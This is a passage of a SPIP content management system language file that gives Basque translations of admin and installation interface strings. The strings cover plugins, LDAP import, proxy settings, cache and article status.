'info_question_utilisation_moteur_recherche' => 'SPIP-ean integratutako bilatzailea erabili nahi duzu ?
(desaktibapenak sistemaren funtzionamendua bizkortzen du.)',
'info_question_vignettes_referer_non' => 'Bisiten jatorrien guneen kapturak ez erakutsi',
'info_qui_edite' => '@nom_auteur_modif@ eduki hau landu du duela @date_diff@ minutu',
'info_racine_site' => 'Gunearen erroa',
'info_recharger_page' => 'Mesedez orrialde hau berriz kargatu minutu batzuk barru.',
'info_recherche_auteur_a_affiner' => 'Emaitza gehiegi "@cherche_auteur@"-rako ; mesedez bilaketa doitu.',
'info_recherche_auteur_ok' => 'Egile asko aurkituak"@cherche_auteur@"-rako:',
'info_recherche_auteur_zero' => 'Emaitzarik ez «@cherche_auteur@ »-rako.',
'info_recommencer' => 'Mesedez berrabiarazi.',
'info_redacteur_1' => 'Idazlaria',
'info_redacteur_2' => 'eremu pribaturako sarbidea duen(gomendatua)',
'info_redacteurs' => 'Idazleak',
'info_redaction_en_cours' => 'Idaztekobidean',
'info_redirection' => 'Birbidirekzioa',
'info_redirection_activee' => 'Birbideratzea aktibatua da.',
'info_redirection_desactivee' => 'Birbideratzea kendua izan da.',
'info_refuses' => 'Zure artikulu ezetsiak',
'info_reglage_ldap' => 'Aukerak : LDAP inportazioaren konfigurazioa',
'info_renvoi_article' => 'Birbidirekzioa. Artikulu hau orrialdera itzultzen da:',
'info_reserve_admin' => 'Helbide hauAdministrazio taldeak bakarrik aldatu ahal du',
'info_restreindre_rubrique' => 'Kudeaketa atalera mugatu :',
'info_resultat_recherche' => 'Bilaketaren emaitzak:',
'info_rubriques' => 'Atalak',
'info_rubriques_02' => 'atalak',
'info_rubriques_trouvees' => 'Aukitutako atalak',
'info_rubriques_trouvees_dans_texte' => 'Aurkitutako atalak (testuan)',
'info_sans_titre' => 'Titulurik gabe',
'info_selection_chemin_acces' => 'Ondoren urtekarian sartzeko bidea hautatu :',
'info_signatures' => 'sinadurak',
'info_site' => 'Tokia',
'info_site_2' => 'tokia :',
'info_site_min' => 'tokia',
'info_site_reference_2' => 'Toki erreferientziatua',
'info_site_web' => 'WEB GUNEA :',
'info_sites' => 'guneak',
'info_sites_lies_mot' => 'Gako-hitz honi lotutako gune erreferientziatuak',
'info_sites_proxy' => 'Proxy bat erabili',
'info_sites_trouves' => 'Aurkitutako guneak',
'info_sites_trouves_dans_texte' => 'Aurkitutako guneak(testuan)',
'info_sous_titre' => 'Azpititulua :',
'info_statut_administrateur' => 'Administratzailea',
'info_statut_auteur' => 'Egile honen estatusa:',
'info_statut_auteur_2' => 'Nor naizen',
'info_statut_auteur_a_confirmer' => 'Izen-ematea baieztatzekoa',
'info_statut_auteur_autre' => 'Beste egoera :',
'info_statut_efface' => 'Ezabatuta',
'info_statut_redacteur' => 'Idazlea',
'info_statut_utilisateurs_1' => 'Inportatutako erabiltzaileen estatus lehenetsia',
'info_statut_utilisateurs_2' => 'LDAP urtekarian dauden pertsonei emandako estatusa aukeratu lehen aldiz konektatzen direnean. Ondoren balio hau aldatu ahal izango duzu idazle bakoitzarentzat kasuz kasu.',
'info_suivi_activite' => 'argitaratze-jardueraren jarraipena',
'info_surtitre' => 'Aurreizenburua',
'info_syndication_integrale_1' => 'Zure guneak sindikazio fitxategiak (ikus « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Artikuluak beren osotasunean igorri nahi al dituzu, edo zonait ehuneko karakteretako bilduma bat zabaldu nahi duzu ?',
'info_table_prefix' => 'Datu-mahaien aurrizkia aldatzen ahal duzu (beharrezkoa da gune anitz ezarri nahi direlarik datu-base berdinean). Aurrizki hori miniskuloz idazten da, azenturik edo espazioarik gabe.',
'info_taille_maximale_images' => 'Tratzen ahal dituen irudien neurri handienak probatuko ditu.<br />Handiago diren irudiak ez dira ttipituak izanen.',
'info_taille_maximale_vignette' => 'Sistemak sortutako bineten tamaina maximoa :',
'info_terminer_installation' => 'Orain instalazio estandarraren prozedura amaitzen ahal duzu.',
'info_texte' => 'Testua',
'info_texte_explicatif' => 'Testu esplikatiboa',
'info_texte_long' => '(testua luzea da : beraz, balidazio ondoren berriz elkartuko diren zati askotan agertzen da.)',
'info_texte_message' => 'Zure mezuaren testua',
'info_texte_message_02' => 'Mezuaren testua',
'info_titre' => 'Titulua :',
'info_total' => 'guztira :',
'info_tous_articles_en_redaction' => 'Artikulu guztiak idazteko bidean',
'info_tous_articles_presents' => 'Argitaratutako artikulu guztiak eremu honetan',
'info_tous_articles_refuses' => 'Errefusatutako artikulu guztiak',
'info_tous_les' => 'guztiak :',
'info_tous_redacteurs' => 'Idazlari guztientzako abisuak',
'info_tout_site' => 'Gune guztia',
'info_tout_site2' => 'Artikulua ez da hizkuntza honetara itzuli.',
'info_tout_site3' => 'Artikulua hizkuntza honetara itzuli da, baina ondoren erreferentzia-artikuluari aldaketak egin zaizkio. Itzulpena eguneratu behar da.',
'info_tout_site4' => 'Artikulua hizkuntza honetara itzuli da, eta itzulpena eguneratuta dago.',
'info_tout_site5' => 'Artikulu originala.',
'info_tout_site6' => '<b>Erne :</b> bakarrik artikulu originalak bistaratzen dira.
Itzulpenak originalari asoziatuta daude, bere egoera adierazten duten kolore batean :',
'info_traductions' => 'Itzulpenak',
'info_travail_colaboratif' => 'Artikuluei buruzko lan kolaboratiboa',
'info_un_article' => 'artikulu bat,',
'info_un_site' => 'gune bat,',
'info_une_rubrique' => 'atal bat,',
'info_une_rubrique_02' => 'atal bat',
'info_url' => 'URL ',
'info_url_proxy' => 'proxy-aren URLa',
'info_url_site' => 'Gunearen URL-a',
'info_url_site_pas_conforme' => 'Gunearen helbidea baliogabekoa da.',
'info_url_test_proxy' => 'Entseguendako URLa',
'info_urlref' => 'Hipertestu lotura:',
'info_utilisation_spip' => 'Lagundutakoargitaratze sistema erabiltzen has zaitezke...',
'info_visites_par_mois' => 'Bisitak hilabeteko :',
'info_visiteur_1' => 'Bisitaria',
'info_visiteur_2' => 'gune publikoaren',
'info_visiteurs' => 'Bisitariak',
'info_visiteurs_02' => 'Gune publikoaren bisitariak',
'info_webmestre_forces' => 'Webmaster-ak fitxategi honetan definituak dira : <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Aterbetzaileak emandako datu-basearen helbidea',
'install_base_ok' => '@base@ basea ezagutua izan da',
'install_connect_ok' => 'Datu-base berria behar bezala deklaratua izan da zerbitzari izen honekin @connect@.',
'install_echec_annonce' => 'Instalazioak seguraski huts eginen du, edo martxan izanen ez den gune bat sortuko du...',
'install_extension_mbstring' => 'SPIP ez da ibilki hunekin :',
'install_extension_php_obligatoire' => 'SPIPek beharesten du php luzapena :',
'install_login_base_hebergeur' => 'Aterbetzaileak emandako konexion login-a',
'install_nom_base_hebergeur' => 'Aterbetzaileak emandako bassearen izena :',
'install_pas_table' => 'Une honetan mahaik gabeko baseak',
'install_pass_base_hebergeur' => 'Aterbetzaileak emandako konexiorako pasahitza',
'install_php_version' => 'PHP @version@ bertsioa ez da aski (guttienez = @minimum@)',
'install_select_langue' => 'Hizkuntza bat aukeratu eta « hurrengoa » botoian klikatu instalazio-prozedura hasteko.',
'install_select_type_db' => 'Zehaztu datu-base mota :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Aterbetzaileak emandako datu-base zerbitzaria',
'install_table_prefix_hebergeur' => 'Aterbetzaileak emandako mahaiaren aurrizkia :',
'install_tables_base' => 'Baseko mahaiak',
'install_types_db_connus' => 'SPIPek <b>MySQL</b> (erabiliena) eta <b>SQLite</b> badakizka erabiltzen.',
'install_types_db_connus_avertissement' => '<b>PostgreSQL</b> euskarria proposatua da ere, esperientzia gisa',
'instituer_erreur_statut_a_change' => 'Egoera jadanik aldatua izan da',
'instituer_erreur_statut_non_autorise' => 'ezin duzu egoera hau aukeratu',
'intem_redacteur' => 'idazlaria',
'intitule_licence' => 'Lizenzia',
'item_accepter_inscriptions' => 'Inskripzioak onartu',
'item_activer_messages_avertissement' => 'Ohartarazpen mezuak aktibatu',
'item_administrateur_2' => 'administratzailea',
'item_afficher_calendrier' => 'Egutegianerakutsi',
'item_autoriser_documents_joints' => 'Artikuluei erantsitako dokumentuak baimendu',
'item_autoriser_documents_joints_rubriques' => 'Ataletako artikuluak baimendu',
'item_autoriser_syndication_integrale' => 'Artikuluen osotasuna zabaldu sindikazio fitxategietan',
'item_choix_administrateurs' => 'administratzaileak',
'item_choix_generation_miniature' => 'Irudien miniaturak automatikoki sortu',
'item_choix_non_generation_miniature' => 'Ez sortu miniaturarik',
'item_choix_redacteurs' => 'erredaktoreak',
'item_choix_visiteurs' => 'lekuarenbisitariak',
'item_creer_fichiers_authent' => '".htpasswd" fitxategiak sortu',
'item_limiter_recherche' => 'Lekuhonetan mugatu ikerketa',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Mezutegia eta agenda aktibatu',
'item_mots_cles_association_articles' => 'artikuluekin',
'item_mots_cles_association_rubriques' => 'atalekin',
'item_mots_cles_association_sites' => 'aipatutako edo sindikatutako lekuekin',
'item_non' => 'Ez',
'item_non_accepter_inscriptions' => 'Ez onartu inskripziorik',
'item_non_activer_messages_avertissement' => 'Ohar mezurik gabe',
'item_non_afficher_calendrier' => 'Ez erakutsi egutegian',
'item_non_autoriser_documents_joints' => 'Artikuluetan dokumentuak sartzea galarazi',
'item_non_autoriser_documents_joints_rubriques' => 'Ataletan dokumentuak sartzeagalarazi',
'item_non_autoriser_syndication_integrale' => 'Bilduma bat baizik zabaldu',
'item_non_compresseur' => 'Konprimatzea desaktibatu',
'item_non_creer_fichiers_authent' => 'Ez sortu fitxategi horiek',
'item_non_gerer_statistiques' => 'Ez kudeatu estatistikarik',
'item_non_limiter_recherche' => 'Aipatutako lekuen edukian ikertu',
'item_non_messagerie_agenda' => 'Mezutegia eta agenda desaktibatu',
'item_non_publier_articles' => 'Artikuluak adierazitako argitaratze data baino lehen ezargitaratu',
'item_non_utiliser_moteur_recherche' => 'Ez erabili motorra',
'item_nouvel_auteur' => 'Egile berria',
'item_nouvelle_rubrique' => 'Atal berria',
'item_oui' => 'Bai',
'item_publier_articles' => 'Artikuluak argitaratu argitaratze-eguna kontuan izan gabe ',
'item_reponse_article' => 'Artikuluari erantzuna',
'item_utiliser_moteur_recherche' => 'Bilaketa-motorra erabili',
'item_version_html_max_html4' => 'HTML4-ean mugatu gune publikoarentzat.',
'item_version_html_max_html5' => 'HTML5 baimendu',
'item_visiteur' => 'bisitaria',
// J
'jour_non_connu_nc' => 'e.e.',
// L
'label_bando_outils' => 'Tresna barra',
'label_bando_outils_afficher' => 'Tresnak erakutsi',
'label_bando_outils_masquer' => 'Tresnak ezkutatu',
'label_choix_langue' => 'Hizkuntza aukera ezazu',
'label_nom_fichier_connect' => 'Zerbitzari honendako erabilitako izena ezar ezazu',
'label_slogan_site' => 'Gunearen lema',
'label_taille_ecran' => 'Panatila zabalera',
'label_texte_et_icones_navigation' => 'Nabigazio menua',
'label_texte_et_icones_page' => 'Orria erakutsi',
'ldap_correspondance' => '@champ@ eremuaren jaurantsia',
'ldap_correspondance_1' => 'LDAP eremuen jaraunspena',
'ldap_correspondance_2' => 'Ondoko SPIP eremu bakoitzarentzat, ezar ezazu LDAP eremuaren izena.
Hutsik utz ezazu ez betetzeko, espazio edo komak tarteka itzazu LDAP eremu bat baino gehiago probatzeko.',
'lien_ajout_destinataire' => 'Jasotzaile hau erantsi',
'lien_ajouter_auteur' => 'Egile hau erantsi',
'lien_ajouter_participant' => 'Parte-hartzaile bat erantsi',
'lien_ajouter_une_rubrique' => 'Atal hau gehitu',
'lien_email' => 'posta elektronikoa',
'lien_nom_site' => 'Lekuaren izena',
'lien_retirer_auteur' => 'Egile hau baztertu',
'lien_retirer_rubrique' => 'Atala kendu',
'lien_retirer_tous_auteurs' => 'Autore guziak kendu',
'lien_retirer_toutes_rubriques' => 'Atal guziak kendu',
'lien_retrait_particpant' => 'Parte-hartzailehau baztertu',
'lien_site' => 'lekua',
'lien_supprimer_rubrique' => 'Atal hau kendu',
'lien_tout_deplier' => 'Hedatu dena',
'lien_tout_replier' => 'Bildu dena',
'lien_tout_supprimer' => 'Dena kendu',
'lien_trier_nom' => 'Izenagatik sailkatu',
'lien_trier_nombre_articles' => 'Artikuluen izenagatik sailkatu',
'lien_trier_statut' => 'Estatusagatik sailkatu',
'lien_voir_en_ligne' => 'LINEAN IKUSI :',
'logo_article' => 'Artikuluaren logotipoa...',
'logo_auteur' => 'Egilearen logotipoa',
'logo_rubrique' => 'Atalaren logotipoa',
'logo_site' => 'Gunearen logoa',
'logo_standard_rubrique' => 'Atalen logo estandarra',
'logo_survol' => 'Gainetik pasatzerako logotipoa',
// M
'menu_aide_installation_choix_base' => 'Zure basearen aukera',
'module_fichier_langue' => 'Hizkuntza-fitxategia',
'module_raccourci' => 'Lasterbidea',
'module_texte_affiche' => 'Testu bistaratua',
'module_texte_explicatif' => 'Hurrengo lasterbideak txerta ditzakezu zure gune publikoko eskeletoetan. Automatiko kihizkuntza-fitxategi bat existitzen denentzako hizkuntza desberdinetara itzuliko dira.',
'module_texte_traduction' => '« @module@ » hizkuntza artxiboaikusgai dago hemen:',
'mois_non_connu' => 'ezezagun',
// N
'nouvelle_version_spip' => 'SPIPen @version@ bertsioa eskuragarri da.',
// O
'onglet_contenu' => 'Edukia',
'onglet_declarer_une_autre_base' => 'Beste base bat deklaratu',
'onglet_discuter' => 'Solastu',
'onglet_documents' => 'Dokumentuak',
'onglet_interactivite' => 'Interaktibitatea',
'onglet_proprietes' => 'Proprietateak',
'onglet_repartition_actuelle' => 'gaur egun',
'onglet_sous_rubriques' => 'Azpi-eremuak',
// P
'page_pas_proxy' => 'Orri hau ez da proxy-tik pasa behar',
'pas_de_proxy_pour' => 'Beharrez, zehaztu zein tresna edo eremuentzat proxy hau ez den aplikatu behar (adibidez :@exemple@)',
'plugin_charge_paquet' => '@name@ paketearen kargatzea',
'plugin_charger' => 'Behera kargatu',
'plugin_erreur_charger' => 'errorea : @zip@ kargatzea ezinezkoa da',
'plugin_erreur_droit1' => '<code>@dest@</code> direktorioan ezin da idatzi.',
'plugin_erreur_droit2' => 'Direktorio hunen eskubideak baiezta itzazu (sortuz beharrez), edo fitxategiak FTParen bidez instala itzazu.',
'plugin_erreur_zip' => 'pclzip errorea : @status@ errorea',
'plugin_etat_developpement' => 'garapenean',
'plugin_etat_experimental' => 'experimentala',
'plugin_etat_stable' => 'egonkorra',
'plugin_etat_test' => 'proban',
'plugin_impossible_activer' => '@plugin@ plugin-a ezin da aktibatu',
'plugin_info_automatique1' => 'Plugin-en instalazio automatikoa onartu nahi al baduzu, otoi :',
'plugin_info_automatique1_lib' => 'Liburutegi honen instalazioa baimendu nahi baduzu, otoi :',
'plugin_info_automatique2' => '<code>@rep@</code> direktorio bat sortu;',
'plugin_info_automatique3' => 'Direktorio hunetan zerbitzariak idazteko eskubidea baduela segurta ezazu.',
'plugin_info_automatique_creer' => 'gunearen erroan sortzekoa.',
'plugin_info_automatique_exemples' => 'adibideak :',
'plugin_info_automatique_ftp' => 'Plugin batzu FTPren bidez instalatzen ahal dituzu <tt>@rep@</tt> direktorioan',
'plugin_info_automatique_lib' => 'Plugin zonbaitek <code>lib/</code> direktorioan fitxategi batzu telekargatzea eskatzen dute.Beharrez direktorio hori sortu behar duzu, gunearen sustraian.',
'plugin_info_automatique_liste' => 'Zure pluginen zerrenda:',
'plugin_info_automatique_liste_officielle' => 'Plugin ofizialak',
'plugin_info_automatique_liste_update' => 'Zerrendak gaurkotu',
'plugin_info_automatique_ou' => 'edo...',
'plugin_info_automatique_select' => 'Plugin bat aukera ezazu beherago : SPIPek deskargatuko du eta <code>@rep@</code> direktorioan instalatuko du ; plugin hau jadanik existitzen bada, gaurkotua izanen da.',
'plugin_info_credit' => 'Kredituak',
'plugin_info_erreur_xml' => 'Plugin honen deklarapena baliogabekoa da.',
'plugin_info_install_ok' => 'Instalazioa ongi burutu da.',
'plugin_info_necessite' => 'Behar dira :',
'plugin_info_non_compatible_spip' => 'Plugin hau ez da SPIP bertsio honekin bateragarri.',
'plugin_info_plugins_dist_1' => 'Plugin hauek kargatuak eta aktibatuak dira, @plugins_dist@ direktorioan.',
'plugin_info_plugins_dist_2' => 'Ezin dira desaktibatu.',
'plugin_info_telecharger' => '@url@ helbidetik deskargatu beharra, eta @rep@ direktorioan instalatzekoa',
'plugin_info_upgrade_ok' => 'Eguneratzea ongi bururatu da',
'plugin_librairies_installees' => 'Instalatutako liburutegiak',
'plugin_necessite_lib' => 'plugin hunek @lib@ liburutegia beharesten du.',
'plugin_necessite_plugin' => 'Beharretsia : @plugin@ plugina @version@ bertsio minimoarekin.',
'plugin_necessite_plugin_sans_version' => '@plugin@ plugina behar du.',
'plugin_necessite_spip' => 'SPIPen @version@ bertsio minimoa behar du.',
'plugin_source' => 'iturria: ',
'plugin_titre_automatique' => 'Instalazio automatikoa',
'plugin_titre_automatique_ajouter' => 'Plugin batzu gehitu',
'plugin_titre_installation' => '@plugin@ gehigarriaren instalazioa',
'plugin_titre_modifier' => 'Nire pluginak',
'plugin_zip_active' => 'Aktibatzeko, segitu',
'plugin_zip_adresse' => 'Hemen zehaz eazu deskargatu nahi duzun plugin baten zip fitxategiaren helbidea, edo plugin zerrenda baten helbidea.',
'plugin_zip_adresse_champ' => 'pluginaren edo zerrendaren helbidea ',
'plugin_zip_content' => 'Fitxategi hauek edukitzen ditu (@taille@),<br /><code>@rep@</code> directorioan instalatzeko prest.',
'plugin_zip_installe_finie' => '@zip@ fitxategia deskonprimitua eta instalatua izan da.',
'plugin_zip_installe_rep_finie' => '@zip@ fitxategia deskonprimitua izan da eta @rep@ direktorioan instalatua',
'plugin_zip_installer' => 'Orai instalatzen ahal duzu.',
'plugin_zip_telecharge' => '@zip@ fitxategia telekargatua izan da',
'plugins_actif_aucun' => 'Ez dago aktibatutako plugin-arik.',
'plugins_actif_un' => 'Aktibatutako plugin bat.',
'plugins_actifs' => '@count@ plugin aktibatuak.',
'plugins_actifs_liste' => 'Aktiboak',
'plugins_compte' => '@count@ plugin',
'plugins_disponible_un' => 'Plugin bat eskuragarri.',
'plugins_disponibles' => '@count@ plugin erabilgarriak',
'plugins_erreur' => 'Errorea pluginetan : @plugins@',
'plugins_liste' => 'Pluginen zerrenda',
'plugins_liste_dist' => 'Plugin gakotuak',
'plugins_recents' => 'Gehigarri berriak.',
'plugins_tous_liste' => 'Denak',
'plugins_vue_hierarchie' => 'Hierarkia',
'plugins_vue_liste' => 'Zerrenda',
'protocole_ldap' => 'Protokoloaren bersioa :',
// Q
'queue_executer_maintenant' => 'Exekutatu orai',
'queue_info_purger' => 'Zain diren lan guziak ezeztatzen ahal dituzu, eta zerrenda berrabiarazi lan periodikoekin',
'queue_nb_jobs_in_queue' => '@nb@ lan zain daude',
'queue_next_job_in_nb_sec' => 'Ondoko lana @nb@ segundutan',
'queue_no_job_in_queue' => 'Zain dauden lanik ez da',
'queue_one_job_in_queue' => '1 lan zain dago',
'queue_purger_queue' => 'Lanen zerrenda purgatu',
'queue_titre' => 'Obren zerrenda',
// R
'repertoire_plugins' => 'Direktorioa :',
// S
'sans_heure' => 'ordurik gabe',
'statut_admin_restreint' => 'admin mugatua',
'statut_webmestre' => 'web-arduraduna',
// T
'tache_cron_asap' => 'CRON zeregina @function@ (Ahal bezain goiz)',
'tache_cron_secondes' => 'CRON zeregina@function@ (@nb@ segunda guziz)',
'taille_cache_image' => 'SPIPek automatikoki kalkulatzen dituen irudiek (dokumentuen binetak, grafikoki aurkeztutako tituluak, TeX formatuan diren matematika funtzioak...) @dir@ direktorioko @taille@-eko espazioa okupatzen dute.',
'taille_cache_infinie' => 'Gune honek ez du ezartzen CACHE direktorioaren tamaina-mugaketarik.',
'taille_cache_maxi' => 'SPIP-ek gune honen CACHE direktorioaren tamaina mugatzen saiatzen da @octets@ datura gutxi gora-behera.',
'taille_cache_moins_de' => 'Cache-aren tamaina gehienez @octets@-koa da.',
'taille_cache_octets' => 'Cache-aren tamaina orain @octets@-koa da.',
'taille_cache_vide' => 'Cachea hutsik dago.',
'taille_repertoire_cache' => 'Cache direktorioaren tamaina',
'text_article_propose_publication' => 'Argitarapenerako proposatutako artikulua.',
'texte_acces_ldap_anonyme_1' => 'LDAP zerbitzari batzuekez dute onartzen sarbide anonimorik. Kasu honetan hasierako sarbide-identifikatzaile batzehaztu behar da gero urtekarian informazioak bilatu ahal izateko. Hala ere, kasu gehienetan, hurrengo eremuak hutsik laga ahal izango dira.',
'texte_admin_effacer_01' => 'Manamendu honek datu-basearen edukiera osoa ezabatzendu, eta hemen konprimituriko idazlari eta administratzaile-sarbide guztiak. Hori egikarituondoren, SPIP-en berrinstalazioa hasi beharko duzu berriro base berri bat eta lehenadministratzaile-sarbide bat sortzeko.',
'texte_adresse_annuaire_1' => '(Zure urtekaria Web gune hau dagoen ordenagailu berdinean instalatzen bada, segur aski «localhost»-az ari gara.)',
'texte_ajout_auteur' => 'Hurrengo egilea artikulura gehitua izan da :',
'texte_annuaire_ldap_1' => '(LDAP) urtekari baterako sarbidea baduzu, erabiltzaileak automatikoki SPIP-en azpian inportatzeko erabili ahalduzu.',
'texte_article_statut' => 'Artikulu hau dago...',
'texte_article_virtuel' => 'Artikulu birtuala',
'texte_article_virtuel_reference' => 'Artikulu birtuala : zure SPIP gunean erreferentziatutako artikulua, baina beste URL batera birbideratua. Birbideratzea bertan behera uzteko, goiko URL-a ezabatu.',
'texte_aucun_resultat_auteur' => 'Emaitzarik ez "@cherche_auteur@"-rako',
'texte_auteur_messagerie' => 'Toki honekuneoro konektatuta dauden pertsonen zerrenda erakutsi ahal dizu, honela mezuakzuzenean trukatu ahal dituzu. Gainera, zerrendan ez agertzea erabaki dezakezu(besteontzat "ikustezina" zaude)',
'texte_auteur_messagerie_1' => 'Toki honek mezu-trukea eta eztabaida-foro pribatuen sorrera onartzen ditu tokiko parte-hartzaileen artean. Truke horietan parte ez hartzea erabaki ahal duzu zuk.',
'texte_auteurs' => 'AUTOREAK',
'texte_choix_base_1' => 'Baseaaukeratu',
'texte_choix_base_2' => 'MYSQL zerbitzariak data base ugari dauzka.',
'texte_choix_base_3' => 'Aukeratu hemen zure ostapen zuzkitzaileak eman dizuna:',
'texte_choix_table_prefix' => 'Mahaien aurrizkiak :',
'texte_commande_vider_tables_indexation' => 'Komando hau erabili SPIP-en integratuta dagoen bilaketa-tresnak erabilitako indexazio-taulak husteko. Honek disko-lekua irabazten utziko dizu.',
'texte_compatibilite_html' => 'SPIPi galdegin diezaiokezu sortzea, parte publikoan, <i>HTML4</i> normarekin bateragarri den kodea, edo baimentzen ahal zenioke <i>HTML5</i> norma modernoagoaren erabiltzea.',
'texte_compresse_ou_non' => '(hau konprimitua izan ahal da edo ez)',
'texte_compte_element' => '@count@ osagai',
'texte_compte_elements' => '@count@osagai',
'texte_conflit_edition_correction' => 'Otoi, testoaren bi bertsio desberdinen arteko desberdinatsunak kontrola itzazu ;edo zure aldaketak kopia itzazu, eta ondotik berriz hasi.',
'texte_connexion_mysql' => 'Zure ostapen zuzkitzaileak emandako informazioak kontsultatu :
zure ostapen zuzkitzaileak SQL jasaten badu, han aurkitu beharko zenituzke SQL zerbitzarirako konexio-kodeak.',
'texte_contenu_article' => '(Artikuluaren edukia hitz gutxitan)',
'texte_contenu_articles' => 'Zure tokiarendiseinuaren arabera, hemen erabili behar diren osagaiak aukera ditzakezu',
'texte_crash_base' => 'Baseak arazo bat baldin badauka, hemen konpontzen saiadaiteke',
'texte_creer_rubrique' => 'Artikulu bat idatzi aurretik, atal bat sortu behar duzu.',
'texte_date_creation_article' => ' Artikuluaren sortze data',
'texte_date_creation_objet' => 'Sorkuntza data :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Lehengo argitarapen data',
'texte_date_publication_anterieure_nonaffichee' => 'Aurreko argitarapen data ez erakutsi.',
'texte_date_publication_article' => 'ARGITARAPEN DATA:',
'texte_descriptif_petition' => 'Eskaeraren azalpena',
'texte_descriptif_rapide' => 'Deskribapen motza',
'texte_effacer_base' => 'Ezabatu SPIP datu-basea',
'texte_effacer_donnees_indexation' => 'Indexazio datak ezabatu',
'texte_effacer_statistiques' => 'Estatistikak ezabatu',
'texte_en_cours_validation' => 'Azpiko edukiak argitarapenerako proposatuta daude.',
'texte_enrichir_mise_a_jour' => 'Zure testuaren formatua aberastu dezakezu,"tipografia-lasterbideak" erabiliz',
'texte_fichier_authent' => '<b>SPIP-ek sortu behar ote ditu <tt>.htpasswd</tt> et <tt>.htpasswd-admin</tt> fitxategi bereziak @dossier@ direktorioan ?</b>
<p>Fitxategi hauek egileei eta administrazaileei zure guneko inguru batzutan (adibidez, kanpoko estatistika-programa) sarbidea murrizteko baliatzen ahal ditzakezu.</p>
<p>Ez bazaizu baliagarri, aukera hau bere lehentasunezko balioan utz dezakezu (fitxategien sortzerik ez).</p>',
'texte_informations_personnelles_1' => 'Sistemak oraintokirako norberako sarrera sortuko du.',
'texte_informations_personnelles_2' => '(Oharra : berrinstalazio batez ari bagara, eta zure sarbidea beti funtzionatzen bada, ahal duzu',
'texte_introductif_article' => '(Artikuluaren sarrera.)',
'texte_jeu_caractere' => 'Aukera hau probetxugarria da zure guneak alfabeto erromatarreko (edo « mendebaldarrekoa ») alfabetodesberdinak eta bere eratorriak erakutsi behar baditu. Kasu honetan, komenigarria izango litzatekekonfigurazio lehenetsia aldatzea karaktere-joko egoki baterako ; kasu guztietan probak egiteagomendatzen dizugu irtenbide on bat aurkitzeko. Parametro hau aldatzen baduzu,ez ahaztu ondorioko gune publikoa egokitzen (#CHARSET marka).',
'texte_jeu_caractere_2' => 'Konfigurazio honek ez du atzeraeraginezko efekturik. Beraz,dagoeneko sartutako testuak gaizki bistaratu ahal dira konfigurazioaren aldaketa batenondorioz. Kasu guztietan, kalteri gabe aurreko konfiguraziora itzuli ahalizango zara.',
'texte_jeu_caractere_3' => 'Zure gunea karaktere-joko huntan instalatua da :',
'texte_lien_hypertexte' => 'Zure mezua Web-gunean argitaratutakoartikulu bati baldin badagokio, edo informazio gehiago dituen orrialde bati, jarri orainorriaren izenburua eta bere URL helbidea)',
'texte_login_ldap_1' => '(Hutsik laga sarbide anonimo baterako, edo bide osoan sartu, adibidez «uid=dupont, ou=users, dc=mon-domaine, dc=com ».)',
'texte_login_precaution' => 'Kontuz ! Hau da orain konektatuta zaudenarekiko login-a. Inprimaki hau kontuz erabili...',
'texte_message_edit' => 'Adi Egon: tokiarenadministratzaileek mezu hau alda dezakete, eta erredaktore guztiek ikus dezakete.Iragarkiak erabili bakar bakarrik tokiaren bizitzaren gertakari garrantzitsuakiragartzeko.',
'texte_mise_a_niveau_base_1' => 'SPIP-eko artxiboak berritu egin dituzu eta oraintokiaren data basea berritu egin behar duzu.',
'texte_modifier_article' => 'Artikuluaaldatu:',
'texte_moteur_recherche_active' => '<b>Bilaketa-tresna aktibatuta dago.</b>
manamendu hau erabili,
berrindexazio bizkor bati ekin nahi badiozu (adibidez babeskopiabat berreskuratu ondoren). Modu arruntean aldatutako dokumentuak (SPIP interfazetik)automatikoki berrindexatuak direla antzeman :
beraz komando hau salbuespenezkomodurako bakarrik da probetxugarria.',
'texte_moteur_recherche_non_active' => 'Bilaketarako motorea ez dago aktibaturik.',
'texte_multilinguisme' => 'Objektu batzuk hizkuntza anitzetan kudeatu nahi badituzu, nabigazio konplexu batekin, zure gunearen antolakuntzaren arabera, objektu horiei hizkuntza aukeratzeko menu bat erantsi diezakezu.',
'texte_multilinguisme_trad' => 'Elementu batzuen itzulpenen arteko loturak kudeatzeko sistema bat ere aktiba dezakezu.',
'texte_non_compresse' => 'konpresiorikgabe (zure zerbitzariak ez du funtzionalitate hau jasaten)',
'texte_nouveau_message' => 'Mezu berria',
'texte_nouvelle_version_spip_1' => 'SPIPren bertsio berri bat instalatu duzu.',
'texte_nouvelle_version_spip_2' => 'Bertsio berri honek ohikoa baino osoago den eguneratze bat behar du. Gunearen web-arduraduna bazara, otoi @connect@ fitxategia ezaba ezazu eta instalazioari berriro ekin iezaiozu zure datu-basearekilako konexio-parametroak eguneratzeko. (NB. : zure konexio-parametroak ahaztu badituzu, @connect@ fitxategia begira ezazu ezabatu aurretik...)',
'texte_operation_echec' => 'Lehengo orriraitzuli, beste base bat aukeratu edo base berri bat sortu. Zure ostapen zuzkitzaileakemandako argibideak egiaztatu.',
'texte_plus_trois_car' => '3 karakter baino gehiago',
'texte_plusieurs_articles' => '"@cherche_auteur@" irizpiderako autore bat bainogehiago aurkitu egin dira:',
'texte_port_annuaire' => '(Besteak adierazi ezean,adierazitako balioa oro har zuzena da.)',
'texte_proposer_publication' => 'Zure artikulua bukatuta egongo denean, zure argitarapena proposa dezakezu',
'texte_proxy' => 'Kasu batzuetan (Intranet, babestutako sareak...), beharrezkoa izan daiteke proxy HTTP baterabiltzea elkartutako tokietara heltzeko.
Horrela baldin bada, jarraian ipini berehelbidea, http://proxy:8080 erapean.
Orokorrean, aukera hau hutsik geratuko da.',
'texte_publication_articles_post_dates' => 'Zer nolako jarrera hartu behar du SPIP-ekberen argitaratze data oraindik heldu ez den data duten artikuluen aurrean?',
'texte_rappel_selection_champs' => '[Ez ahaztu eremu hau zuzenki hautatzea.]',
'texte_recalcul_page' => 'Orri bat baino ez baduzu berkalkulatu nahi,gunepublikoan dagoen "Berkalkulatu" botoia erabili.',
